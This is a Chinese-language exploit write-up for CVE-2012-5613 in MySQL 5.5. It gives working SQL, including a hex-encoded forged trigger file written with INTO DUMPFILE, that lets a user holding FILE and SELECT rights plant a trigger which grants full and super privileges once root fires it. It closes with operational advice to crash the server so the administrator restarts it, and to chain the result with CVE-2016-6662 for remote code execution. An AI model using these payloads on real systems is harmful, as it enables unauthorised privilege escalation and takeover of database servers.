cve-2012-5613 mysql本地提权
cve-2012-5613 是一个通过FILE权限写Trigger的TRG存储文件（即伪造Trigger）,由root触发而导致权限提升的漏洞。不知道为什么这个漏洞一直没修，可能mysql认为这是一个特性吧。
准备
测试环境：
Server version: 5.5.48-log Source distribution
在test数据库中创建一个触发器：
create table foo (a INT, b INT, ts TIMESTAMP);
create table bar (a INT, b INT);
INSERT INTO foo (a,b) VALUES(1,1);
INSERT INTO foo (a,b) VALUES(2,2);
INSERT INTO foo (a,b) VALUES(3,3);
DELIMITER ///
CREATE TRIGGER ins_sum AFTER UPDATE ON foo
FOR EACH ROW
BEGIN
IF NEW.ts <> OLD.ts THEN
INSERT INTO bar (a, b) VALUES(NEW.a, NEW.b);
END IF;
END;
///
DELIMITER ;
创建触发器完成后，发现在mysql目录(/usr/local/mysql/var/test/)生成foo.TRG和ins_sum.TRN文件，所有者为mysql
换一个更简单的Trigger：
DROP TRIGGER IF EXISTS ins_sum;
DELIMITER ///
CREATE TRIGGER ins_sum AFTER UPDATE ON foo
FOR EACH ROW
BEGIN
update user set sex =3 where id =1 ;
END;
///
DELIMITER ;
此时TRG文件内容：
TYPE=TRIGGERS
\n END' update user set sex =3 where id =1 ; AFTER UPDATE ON foo
sql_modes=0
definers='root@%'
client_cs_names='utf8mb4'
connection_cl_names='utf8mb4_general_ci'
db_cl_names='utf8mb4_general_ci'
开始测试：
创建一个普通用户，只有file权限+test的select权限
CREATE USER 'sec_usr123'@'%' IDENTIFIED BY 'sec_usr123';
GRANT FILE ON *.* TO 'sec_usr123'@'%' ;
GRANT SELECT ON `test`.* TO 'sec_usr123'@'%';
flush privileges
在root下，创建一个触发器,试图直接通过触发器触发将普通用户变为super user失败：
DROP TRIGGER IF EXISTS ins_sum;
DELIMITER ///
CREATE TRIGGER ins_sum AFTER UPDATE ON foo
FOR EACH ROW
BEGIN
grant all privileges on *.* to sec_usr@'%' with grant option;
END;
///
DELIMITER ;
换一种写法（https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/23077.pl）：
DROP TRIGGER IF EXISTS ins_sum;
DELIMITER ///
CREATE TRIGGER ins_sum AFTER UPDATE ON foo
FOR EACH ROW
BEGIN
UPDATE mysql.user SET Select_priv='Y', Insert_priv='Y', Update_priv='Y', Delete_priv='Y', Create_priv='Y', Drop_priv='Y', Reload_priv='Y', Shutdown_priv='Y', Process_priv='Y', File_priv='Y', Grant_priv='Y', References_priv='Y', Index_priv='Y', Alter_priv='Y', Show_db_priv='Y', Super_priv='Y', Create_tmp_table_priv='Y', Lock_tables_priv='Y', Execute_priv='Y', Repl_slave_priv='Y', Repl_client_priv='Y', Create_view_priv='Y', Show_view_priv='Y', Create_routine_priv='Y', Alter_routine_priv='Y', Create_user_priv='Y', ssl_type='Y', ssl_cipher='Y', x509_issuer='Y', x509_subject='Y',max_questions='Y', max_updates='Y', max_connections='Y' WHERE User='sec_usr1234foo';
END;
///
DELIMITER ;
成功。
尝试使用fie权限写入触发器目录：
SELECT '1111' INTO OUTFILE '/usr/local/mysql/var/test/1.txt'
写入成功。
通过outfile写文件的方式（此方式文件已存在则报错）
普通用户sec_usr现在使用file权限创建TRG文件：
SELECT 'TYPE=TRIGGERS\ntriggers=\'CREATE DEFINER=\`root\`@\`%\` TRIGGER ins_sum AFTER UPDATE ON foo\n\\n FOR EACH ROW\n\\n BEGIN\n\\n\n\\n update user set sex =3 where id =1 ;\n\\n\n\\n END\'\nsql_modes=0\ndefiners=\'root@%\'\nclient_cs_names=\'utf8mb4\'\nconnection_cl_names=\'utf8mb4_general_ci\'\ndb_cl_names=\'utf8mb4_general_ci\' '
INTO OUTFILE '/usr/local/mysql/var/test/foo.TRG' FIELDS ESCAPED BY ' ';
SELECT 'TYPE=TRIGGERNAME\ntrigger_table=foo' INTO OUTFILE '/usr/local/mysql/var/test/ins_sum.TRN' FIELDS ESCAPED BY ' ';
重启mysql
sudo /etc/init.d/mysql restart
多次尝试发现有backslash带入，mysql重启加载失败。
换16进制写入，注意要使用dumpfile而不是outfile：
SELECT 545950453D54524947474552530A74726967676572733D2743524541544520444546494E45523D60726F6F746040602560205452494747455220696E735F73756D20414654455220555044415445204F4E20666F6F0D5C6E20202020464F52204541434820524F570D5C6E20202020424547494E0D5C6E202020202020202055504441544520206D7973716C2E757365722020534554202053656C6563745F707269763D5C27595C272C2020496E736572745F707269763D5C27595C272C20205570646174655F707269763D5C27595C272C202044656C6574655F707269763D5C27595C272C20204372656174655F707269763D5C27595C272C202044726F705F707269763D5C27595C272C202052656C6F61645F707269763D5C27595C272C202053687574646F776E5F707269763D5C27595C272C202050726F636573735F707269763D5C27595C272C202046696C655F707269763D5C27595C272C20204772616E745F707269763D5C27595C272C20205265666572656E6365735F707269763D5C27595C272C2020496E6465785F707269763D5C27595C272C2020416C7465725F707269763D5C27595C272C202053686F775F64625F707269763D5C27595C272C202053757065725F707269763D5C27595C272C20204372656174655F746D705F7461626C655F707269763D5C27595C272C20204C6F636B5F7461626C65735F707269763D5C27595C272C2020457865637574655F707269763D5C27595C272C20205265706C5F736C6176655F707269763D5C27595C272C20205265706C5F636C69656E745F707269763D5C27595C272C20204372656174655F766965775F707269763D5C27595C272C202053686F775F766965775F707269763D5C27595C272C20204372656174655F726F7574696E655F707269763D5C27595C272C2020416C7465725F726F7574696E655F707269763D5C27595C272C20204372656174655F757365725F707269763D5C27595C272C202073736C5F747970653D5C27595C272C202073736C5F6369706865723D5C27595C272C2020783530395F6973737565723D5C27595C272C2020783530395F7375626A6563743D5C27595C272C6D61785F7175657374696F6E733D5C27595C272C20206D61785F757064617465733D5C27595C272C20206D61785F636F6E6E656374696F6E733D5C27595C27202057484552452020557365723D5C277365635F75737231323334666F6F5C273B200D5C6E20202020454E44270A73716C5F6D6F6465733D300A646566696E6572733D27726F6F744025270A636C69656E745F63735F6E616D65733D27757466386D6234270A636F6E6E656374696F6E5F636C5F6E616D65733D27757466386D62345F67656E6572616C5F6369270A64625F636C5F6E616D65733D27757466386D62345F67656E6572616C5F6369270A into dumpfile '/usr/local/mysql/var/test/foo.TRG' ;
SELECT 0x545950453D545249474745524E414D450A747269676765725F7461626C653D666F6F0A into dumpfile '/usr/local/mysql/var/test/ins_sum.TRN' ;
重启mysql，root用户执行UPDATE进行触发：
select * from mysql.user where User = 'sec_usr1234foo';
update foo set a=9 where b=1;
select * from mysql.user where User = 'sec_usr1234foo';
至此sec_usr1234foo获取了super user权限，可以执行set global general_log，结合上上篇文章CVE-2016-6662（ http://www.cnblogs.com/xiaoxiaoleo/p/5873091.html），就达到了所谓的普通用户远程RCE的效果。或者直接像http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html提到的那样，通过super user直接出发注入my.cnf的Trigger，省去添加super user的步骤。
总结一下cve-2012-5613:
利用条件：
1. 普通用户+file权限+select权限
2.管理员需要重启mysql一次，触发一次触发器（INSERT, UPDATE or DELETE.）
攻击方式：
最好有一个和远程环境相同的环境，预先生成TRG和TRN文件的16进制，然后通过dumpfile到目标的mysql目录里面。让管理员可以通过mysql拒绝服务，mysql宕机管理自然会重启。如何让管理员触发，则随机应变吧。
